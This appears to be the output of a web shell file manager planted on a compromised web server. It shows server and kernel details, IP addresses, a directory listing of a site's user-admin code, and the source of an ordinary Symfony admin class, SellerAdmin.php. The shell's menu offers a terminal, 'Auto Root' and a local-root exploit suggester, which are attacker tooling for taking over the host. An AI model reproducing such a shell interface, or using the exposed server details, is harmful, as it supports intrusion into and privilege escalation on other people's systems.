Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
UserBundle /
Admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
ClientAdmin.php
2.12
KB
-rwxrwxr-x
2026-05-18 12:51
SellerAdmin.php
4.29
KB
-rwxrwxr-x
2026-05-18 12:51
UserBankDetailAdmin.php
2.25
KB
-rwxrwxr-x
2026-05-18 12:51
UserEMailAddressAdmin.php
1.76
KB
-rwxrwxr-x
2026-05-18 12:51
UserFieldAdmin.php
3.16
KB
-rwxrwxr-x
2026-05-18 12:51
UserLevelAdmin.php
1.88
KB
-rwxrwxr-x
2026-05-18 12:51
UserListAdmin.php
7.2
KB
-rwxrwxr-x
2026-05-18 12:51
UserOldAdmin.php
3.72
KB
-rwxrwxr-x
2026-05-18 12:51
UserTypeTypesAdmin.php
1.84
KB
-rwxrwxr-x
2026-05-18 12:51
UserTypesAdmin.php
1.43
KB
-rwxrwxr-x
2026-05-18 12:51
php_errors.log
2.76
KB
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\UserBundle\Admin; use Sonata\AdminBundle\Admin\AbstractAdmin; use Sonata\AdminBundle\Datagrid\ListMapper; use Sonata\AdminBundle\Datagrid\DatagridMapper; use Sonata\AdminBundle\Datagrid\ProxyQueryInterface; use Sonata\AdminBundle\Form\FormMapper; use Sonata\AdminBundle\Form\Type\AdminType; use Sonata\AdminBundle\Show\ShowMapper; use Sonata\AdminBundle\Validator\ErrorElement; use Symfony\Component\Form\Extension\Core\Type\HiddenType; use App\UserBundle\Admin\UserListAdmin; use App\UserBundle\Entity\UserTypes; use App\UserBundle\Entity\UserTypeTypes; /** * Supplier Admin * * @author Otto Saayman <otto@igotafrica.com> * @package UserBundle * @subpackage Admin * @version 0.0.1 */ class SellerAdmin extends UserListAdmin { protected function generateBaseRouteName(bool $isChildAdmin = false): string { return 'seller'; } protected function generateBaseRoutePattern(bool $isChildAdmin = false): string { return 'seller'; } protected $classnameLabel = 'Sellers'; protected function configureFormFields(FormMapper $formMapper): void { parent::configureFormFields($formMapper); $formMapper->remove('user_type_types') ->remove('is_active')->add('is_active', HiddenType::class, array()) ->remove('is_super_admin')->add('is_super_admin', HiddenType::class, array()) ->add('user_bank_detail', AdminType::class) ->remove('id_number')->add('id_number', HiddenType::class, array()) ->remove('id_doc_file_id')->add('id_doc_file_id', HiddenType::class, array()) ->remove('referred_by')->add('referred_by', HiddenType::class, array()) ->remove('send_doc_reject_notif') ->remove('send_access_level_notif') ->remove('move_to_companies'); } public function configurePersistentParameters(): array { if (!$this->getRequest()) { return array(); } $systemSettingManager = $this->container->get('system_setting.manager'); return array( 'provider' => $this->getRequest()->get('provider'), 'user_type_id' => $this->getRequest()->get('user_type_id', $systemSettingManager->getSetting('fe_user_type')), 'company_id' => $this->getRequest()->get('company_id', ''), ); } public function configureQuery(ProxyQueryInterface $query): ProxyQueryInterface { // public function createQuery($context = 'list', $utt = null) { parent::setSellerAccessLevelId($this->getContainer()->get('access_level.manager')->getSellerAccessLevelId()); return parent::createQuery($query); } protected function configureDatagridFilters(DatagridMapper $datagridMapper): void { parent::configureDatagridFilters($datagridMapper); } protected function configureListFields(ListMapper $listMapper): void { parent::configureListFields($listMapper); // $listMapper; } protected function configureShowFields(ShowMapper $show): void { parent::configureShowFields($show); } public function preUpdatePersist($user) { // echo 'pre update'; // exit; parent::preUpdatePersist($user); if (!is_object($user->getUserTypeTypes())) { $user->setUserTypeTypes($this->getUserTypeTypeId()); } return $user; } public function postUpdatePersist($user) { parent::postUpdatePersist($user); parent::getContainer()->get('user_list.manager')->linkAccessLevel($user, array(parent::getContainer()->get('access_level.manager')->getSellerAccessLevelId())); } protected function configureSideMenu(\Knp\Menu\ItemInterface $menu, $action, ?\Sonata\AdminBundle\Admin\AdminInterface $childAdmin = null) { } /** * @return UserTypeTypes */ public function getUserTypeId() { $systemSettingManager = parent::getContainer()->get('system_setting.manager'); return $this->getRequest()->get('user_type_id', $systemSettingManager->getSetting('fe_user_type')); } /** * @return UserTypeTypes */ public function getUserTypeTypeId() { return parent::getContainer()->get('user_type_types.manager')->find(parent::getContainer()->get('user_type_types.manager')->getSellerTypeTypeId()); } }